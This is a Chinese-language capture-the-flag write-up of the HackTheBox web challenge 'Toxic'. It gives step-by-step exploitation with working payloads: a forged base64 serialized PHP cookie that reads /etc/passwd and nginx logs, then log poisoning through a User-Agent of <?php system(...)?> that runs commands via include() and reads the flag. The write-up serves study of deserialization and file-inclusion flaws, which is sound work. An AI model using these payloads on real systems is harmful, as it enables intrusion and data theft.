HTB toxic

環境說明

hackthebox上的web靶機,名稱為toxic

攻擊策略:

用任意檔案讀取漏洞存取系統日志,在利用任意代碼執行漏洞在日志內產生指令讓系統執行

安全檢查重點

  • 透過base64解開cookie,檢查是否有任何信息,像是檔案路徑
  • 測試cookie內容的改變是否能讓網頁有影響
  • 在代碼中檢查php include()的來源是可由外部控制

攻擊方式

步驟1

根據index.php代碼分析,讀檔會透過cookie,所以只要改cookie就可以讓網站讀取任意文檔

假如我想讀取/etc/passwd, 我可以用以下代碼產生base64編碼的Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=

<?php
class PageModel
{
    public $file;
}

    $page = new PageModel;
    $page->file = '/etc/passwd';
    print(base64_encode(serialize($page)))
?>

#php sandbox https://onlinephp.io/

Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=用base64解開後會得到O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}

讀取網頁時將cookie內容指定為Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=會讓代碼認為要讀取/etc/passwd,因此網頁會顯示/etc/passwd的內容

步驟2

分析組態檔內容發現nginx.conf有/var/log/nginx/access.log, 因此可以透過瀏覽行為產生指定的access log內容,所以用剛剛的技巧顯示/var/log/nginx/access.log

因此要將cookie指定為Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==,這段base64編碼內容為O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";},這會讓網頁顯示內容如下

138.68.166.146 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 
138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 

只要在請求時指定user-agent:test, /var/log/nginx/access.log內容就會產生變成以下這樣

138.68.166.146 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 
138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "test" 138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "test"

步驟3

由於代碼中使用include()讀取文件,此功能的特點是任何讀取的文件都會被當成php執行,所以我們可以通過將shell寫入日志的方式來執行命令

在請求時指定為user-agent:<?php system('ls');?>,在/var/log/nginx/access.log內容就會產生變成以下這樣

..omit...
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "test" 138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "<?php system('ls');?>"

但因為經過了include( "/var/log/nginx/access.log")這個功能的特性,會執行裡面的system('ls'),顯示ls的結果,因此實際網頁會顯示如下

...omit...
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "test" 138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/"    models   static   index   index.php 

透過這個方式尋找,可以發現flag在根目錄,

因此改為user-agent:<?php system('cat /flag_TUJVt');?>,或是請求時把cookie指定Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2ZsYWdfVFVKVnQiO30= (此為 /flag_TUJVt的位置) ,就可以取得flag內容

參考文獻
https://shakuganz.com/2021/05/29/hackthebox-toxic-write-up/
http://www.pdsdt.lovepdsdt.com/index.php/2021/05/01/htb2/
http://www.bmth666.cn/bmth_blog/2020/12/31/HackTheBox%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/